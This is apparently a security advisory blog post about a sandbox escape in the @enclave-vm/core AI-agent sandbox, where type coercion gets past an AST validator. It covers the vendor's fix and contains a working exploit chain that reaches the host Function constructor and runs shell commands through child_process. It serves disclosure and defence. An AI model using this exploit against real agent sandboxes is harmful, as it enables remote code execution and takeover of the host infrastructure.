Breaking the Enclave: How JavaScript Coercion Shattered a Sandbox

Building a secure sandbox in JavaScript is like trying to hold water in a sieve. The language is dynamic, reflective, and notoriously permissive. The @enclave-vm/core package attempts to solve this by creating a restricted execution environment for AI agents. It uses an AST (Abstract Syntax Tree) validator to scan code before it runs, looking for 'dangerous' patterns. The idea is simple: if the code tries to access sensitive properties like constructor, __proto__, or prototype, the validator shouts 'NO' and throws an error.

This approach relies on a static view of the code. The validator looks at the text and decides if it's safe. But JavaScript is not a static language. It is a shifting, morphing beast where things are rarely what they seem until the exact moment of execution. The developers of Enclave fell into the classic trap of confusing the map (AST) with the territory (Runtime).

Because the validator focused on blocking specific string literals, it assumed that if it didn't see the string 'constructor', the code was safe. They locked the front door, bolted the windows, and installed a security camera. But they forgot that JavaScript has a magic spell that turns a pumpkin into a carriage—or in this case, an innocent-looking object into a malicious string.

The vulnerability (CWE-94) lies in how JavaScript handles computed property names. When you access a property using bracket notation, like object[key], the engine has to evaluate key. If key isn't a string, JavaScript helpfully tries to turn it into one. This is called implicit type coercion, and it is the root of many security nightmares.

The Enclave validator had a rule called DisallowedIdentifierRule. It checked for member expressions. If you wrote obj.constructor, it saw the identifier constructor and blocked it. If you wrote obj['constructor'], it saw the string literal 'constructor' and blocked it. So far, so good.

But what if you write this?

const key = { toString: () => 'constructor' };
obj[key];

Statically, the AST sees an object literal inside the brackets. It doesn't look like the string 'constructor'. It looks like generic code. The validator, lacking a crystal ball, lets it pass. But at runtime, the JavaScript engine calls toString() on that object, gets the string 'constructor', and hands over the keys to the kingdom. The sandbox thought it was looking at a harmless object; the runtime saw a weapon.

Let's look at the code. The logic failure was in DisallowedIdentifierRule.ts. It was too literal. It checked if the property being accessed was a direct match for the blacklist. It didn't simulate the runtime behavior of complex expressions.

The fix, implemented in commit 09afbebe4cb6d0586c1145aa71ffabd2103932db, introduces a new utility called coercion-utils.ts. This utility is essentially a mini-simulator. It tries to predict what a piece of AST will become at runtime. It handles arrays (which coerce to comma-separated strings), templates, and conditional expressions.

Here is a simplified view of the fix logic:

// BEFORE: Naive check
if (node.property.type === 'Literal' && 
    BLACKLIST.includes(node.property.value)) {
  throw new Error('Access denied');
}
 
// AFTER: Deep static analysis
const possibleKeys = tryGetStaticComputedKeys(node.property);
for (const key of possibleKeys) {
  if (BLACKLIST.includes(key)) {
    throw new Error(`Potential access to disallowed property: ${key}`);
  }
}

The new tryGetStaticComputedKeys function is paranoid. If it sees ['__proto__'], it knows that becomes '__proto__'. If it sees a template literal like `cons$\{'tructor'\}`, it resolves it. It forces the validator to think like the engine.

So, how do we weaponize this? We need to get a handle on the host's process object to run shell commands. The sandbox wraps objects in a SafeObject proxy, but the native Object constructor is the gateway out. We can't access Object directly, but every object has a constructor property that points to it.

Here is the attack chain:

1. Bypass the Filter: We use an array coercion trick. ['constructor'] coerces to the string 'constructor'.
2. Get the Constructor: We access ({}).constructor via our coercion trick. Now we have the native Object function.
3. Find the Leaks: We use Object.getOwnPropertyDescriptors(this) to inspect the global scope. It turns out Enclave left a debugging reference exposed: __host_memory_track__. This object wasn't properly sanitized.
4. Pivot to Function: We use the coercion trick again on __host_memory_track__ to get its constructor, which is the host's Function constructor.
5. RCE: The Function constructor allows us to create code that runs outside the sandbox completely.

Here is the exploit code that breaks it open:

// 1. Create a key that looks innocent but coerces to 'constructor'
// In JS, ["string"] coerces to "string"
const hiddenKey = ['constructor'];
 
// 2. Access the native Object constructor
// The validator sees an ArrayExpression, not a Literal string
const hostObject = {}[hiddenKey]; 
 
// 3. Find the leaked internal reference
const descriptors = hostObject.getOwnPropertyDescriptors(this);
const leakedRef = descriptors.__host_memory_track__.value;
 
// 4. Get the Function constructor from the leak
const HostFunction = leakedRef[hiddenKey];
 
// 5. Generate a function outside the sandbox and run it
const escapeFn = HostFunction('return process.mainModule.require("child_process").execSync("id").toString()');
console.log(escapeFn());

If successful, this prints the uid of the server running the sandbox. Game over.

This is a CVSS 10.0 for a reason. RCE in a sandbox designed for AI agents is catastrophic. AI agents are often designed to execute code generated by LLMs or provided by users to perform tasks. If you can break the sandbox, you own the infrastructure.

The exploit is reliable, requires no authentication (if the agent is public-facing), and works on the default configuration of the library. It allows for full data exfiltration, installation of persistence mechanisms, or pivoting to internal networks. For a library named "Enclave," this vulnerability turned it into an open market.

The fix is straightforward: Update to version 2.11.1. The vendor (AgentFront) acted quickly.

If you cannot update immediately, you are in trouble. There is no easy configuration change to fix this because the flaw is in the core validation logic. You could try to manually sanitize input code to reject array literals or object literals inside square brackets, but that is a game of whack-a-mole you will likely lose.

For security researchers and developers, this is a lesson in input validation: never trust the static representation of dynamic code. If your security model relies on checking strings in an AST, you are likely vulnerable to coercion attacks. Always assume the runtime will find a way to surprise you.